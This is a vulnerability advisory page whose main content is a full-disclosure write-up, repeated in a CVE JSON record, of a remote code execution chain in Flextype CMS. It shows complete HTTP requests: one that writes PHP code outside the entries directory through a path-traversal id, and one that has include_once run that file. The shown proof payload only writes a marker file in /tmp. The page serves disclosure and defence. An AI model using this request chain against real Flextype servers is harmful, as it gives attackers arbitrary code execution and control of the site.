GCVE-1988-2026-0002
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:04
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion
Summary
Description
Flextype CMS contains a remote code execution vulnerability in the
interaction between the Entries API and Shortcodes::registerShortcodes().
The /api/v1/entries endpoint accepts an attacker-controlled entry
identifier that can contain path traversal sequences, allowing content
containing PHP code to be written outside the intended entries directory.
The /api/v1/query endpoint subsequently permits an attacker-controlled path
to reach Shortcodes::registerShortcodes(), where the supplied path is
passed to an include_once operation relative to FLEXTYPE_ROOT_DIR.
An attacker can therefore first use the path traversal condition to place a
PHP-containing file at a predictable location beneath the application root
and then invoke registerShortcodes() with the path to that file. PHP
interprets the included file as executable PHP regardless of the .md
extension, resulting in execution of attacker-controlled code in the
context of the Flextype PHP process.
Impact
A remote attacker with the required API access can execute arbitrary PHP
code with the privileges of the Flextype application process. This may
result in complete compromise of the affected Flextype installation,
including unauthorized access to application data, modification or deletion
of content, disclosure of sensitive configuration or credentials accessible
to the application, installation of persistent malicious code, and further
compromise of resources accessible from the application server.
The demonstrated proof of concept performs only a benign filesystem write
to /tmp/register-shortcodes-rce-proof, confirming arbitrary PHP execution
without performing destructive actions.
Technical DetailsStep 1 — Path Traversal Allows PHP Content to Be Written
Beneath the Application Root
The /api/v1/entries endpoint accepts the attacker-controlled identifier
../../rce-register-shortcodes. The traversal sequence causes the resulting
entry to be written to /app/rce-register-shortcodes/entry.md rather than
remaining within the intended entries storage location.
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18089
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"../../rce-register-shortcodes","data":{"title":"register
shortcodes rce","content":"<?php
file_put_contents('/tmp/register-shortcodes-rce-proof',
'REGISTER_SHORTCODES_RCE_PROOF'); ?>"}}
The server accepts the traversal identifier and returns a successful
response:
HTTP/1.1 200 OK
Host: 127.0.0.1:18089
Content-Type: application/json;charset=UTF-8
Content-Length: 410
Access-Control-Allow-Origin: *
{"title":"register shortcodes
rce","published_by":"","created_by":"","uuid":"77bce63b-9006-46df-8bbc-48e2182d5b84","content":"<?php
file_put_contents('/tmp/register-shortcodes-rce-proof',
'REGISTER_SHORTCODES_RCE_PROOF');
?>","slug":"rce-register-shortcodes","published_at":1788178537,"modified_at":1788178537,"created_at":1788178537,"routable":true,"visibility":"visible","id":"../../rce-register-shortcodes"}
The resulting file is created at:
/app/rce-register-shortcodes/entry.md
Its contents include the supplied PHP payload:
---
title: 'register shortcodes rce'
published_by: ''
created_by: ''
uuid: 77bce63b-9006-46df-8bbc-48e2182d5b84
---
<?php file_put_contents('/tmp/register-shortcodes-rce-proof',
'REGISTER_SHORTCODES_RCE_PROOF'); ?>
Before the file is included, the proof file does not exist:
marker_exists=no
This confirms that merely writing the entry does not execute the PHP
payload.
Step 2 — Attacker-Controlled Path Reaches registerShortcodes() include_once
The attacker can then invoke parsers().shortcodes().registerShortcodes()
through /api/v1/query and supply the path of the previously created file:
POST /api/v1/query HTTP/1.1
Host: 127.0.0.1:18089
Content-Type: application/json
{"token":"lab-token","access_token":"password","query":{"include":"parsers().shortcodes().registerShortcodes([{enabled:
true, path: 'rce-register-shortcodes/entry.md'}])"}}
The supplied path reaches an include_once operation equivalent to:
include_once FLEXTYPE_ROOT_DIR . '/' . $path;
The server successfully processes the request:
HTTP/1.1 200 OK
Host: 127.0.0.1:18089
Content-Type: application/json;charset=UTF-8
Content-Length: 16
Access-Control-Allow-Origin: *
{"include":null}
Following the registerShortcodes() invocation, the marker file exists:
marker_exists=yes
REGISTER_SHORTCODES_RCE_PROOF
The transition from marker_exists=no before the include_once operation to
marker_exists=yes afterward demonstrates that the PHP contained within
entry.md was interpreted and executed by the PHP runtime.
Exploitation Chain
The demonstrated attack consists of two conditions:
1. *Path traversal / arbitrary file write:* attacker-controlled PHP
content is written beneath the Flextype application root using
/api/v1/entries.
2. *Attacker-controlled PHP inclusion:* /api/v1/query allows the
attacker to pass the created file to Shortcodes::registerShortcodes(),
which reaches include_once.
When chained, these conditions result in remote arbitrary PHP code
execution.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS contains a remote code execution vulnerability in the\ninteraction between the Entries API and Shortcodes::registerShortcodes().\nThe /api/v1/entries endpoint accepts an attacker-controlled entry\nidentifier that can contain path traversal sequences, allowing content\ncontaining PHP code to be written outside the intended entries directory.\n\nThe /api/v1/query endpoint subsequently permits an attacker-controlled path\nto reach Shortcodes::registerShortcodes(), where the supplied path is\npassed to an include_once operation relative to FLEXTYPE_ROOT_DIR.\n\nAn attacker can therefore first use the path traversal condition to place a\nPHP-containing file at a predictable location beneath the application root\nand then invoke registerShortcodes() with the path to that file. PHP\ninterprets the included file as executable PHP regardless of the .md\nextension, resulting in execution of attacker-controlled code in the\ncontext of the Flextype PHP process.\nImpact\n\nA remote attacker with the required API access can execute arbitrary PHP\ncode with the privileges of the Flextype application process. This may\nresult in complete compromise of the affected Flextype installation,\nincluding unauthorized access to application data, modification or deletion\nof content, disclosure of sensitive configuration or credentials accessible\nto the application, installation of persistent malicious code, and further\ncompromise of resources accessible from the application server.\n\nThe demonstrated proof of concept performs only a benign filesystem write\nto /tmp/register-shortcodes-rce-proof, confirming arbitrary PHP execution\nwithout performing destructive actions.\nTechnical DetailsStep 1 \u2014 Path Traversal Allows PHP Content to Be Written\nBeneath the Application Root\n\nThe /api/v1/entries endpoint accepts the attacker-controlled identifier\n../../rce-register-shortcodes. The traversal sequence causes the resulting\nentry to be written to /app/rce-register-shortcodes/entry.md rather than\nremaining within the intended entries storage location.\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../rce-register-shortcodes\",\"data\":{\"title\":\"register\nshortcodes rce\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\"}}\n\nThe server accepts the traversal identifier and returns a successful\nresponse:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 410\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"register shortcodes\nrce\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"77bce63b-9006-46df-8bbc-48e2182d5b84\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027);\n?\u003e\",\"slug\":\"rce-register-shortcodes\",\"published_at\":1788178537,\"modified_at\":1788178537,\"created_at\":1788178537,\"routable\":true,\"visibility\":\"visible\",\"id\":\"../../rce-register-shortcodes\"}\n\nThe resulting file is created at:\n\n/app/rce-register-shortcodes/entry.md\n\nIts contents include the supplied PHP payload:\n\n---\ntitle: \u0027register shortcodes rce\u0027\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 77bce63b-9006-46df-8bbc-48e2182d5b84\n---\n\u003c?php file_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\n\nBefore the file is included, the proof file does not exist:\n\nmarker_exists=no\n\nThis confirms that merely writing the entry does not execute the PHP\npayload.\nStep 2 \u2014 Attacker-Controlled Path Reaches registerShortcodes() include_once\n\nThe attacker can then invoke parsers().shortcodes().registerShortcodes()\nthrough /api/v1/query and supply the path of the previously created file:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"include\":\"parsers().shortcodes().registerShortcodes([{enabled:\ntrue, path: \u0027rce-register-shortcodes/entry.md\u0027}])\"}}\n\nThe supplied path reaches an include_once operation equivalent to:\n\ninclude_once FLEXTYPE_ROOT_DIR . \u0027/\u0027 . $path;\n\nThe server successfully processes the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 16\nAccess-Control-Allow-Origin: *\n\n{\"include\":null}\n\nFollowing the registerShortcodes() invocation, the marker file exists:\n\nmarker_exists=yes\nREGISTER_SHORTCODES_RCE_PROOF\n\nThe transition from marker_exists=no before the include_once operation to\nmarker_exists=yes afterward demonstrates that the PHP contained within\nentry.md was interpreted and executed by the PHP runtime.\nExploitation Chain\n\nThe demonstrated attack consists of two conditions:\n\n 1. *Path traversal / arbitrary file write:* attacker-controlled PHP\n content is written beneath the Flextype application root using\n /api/v1/entries.\n 2. *Attacker-controlled PHP inclusion:* /api/v1/query allows the\n attacker to pass the created file to Shortcodes::registerShortcodes(),\n which reaches include_once.\n\nWhen chained, these conditions result in remote arbitrary PHP code\nexecution.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:04:02Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/27"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/27"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0002",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/27",
"automated": true,
"contentSha256": "cec7964b74c54019ca126c9c212da2fd328a1ff216fefb227384a3d13481e4fc",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/27",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T12:33:45Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:04:02Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0002"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…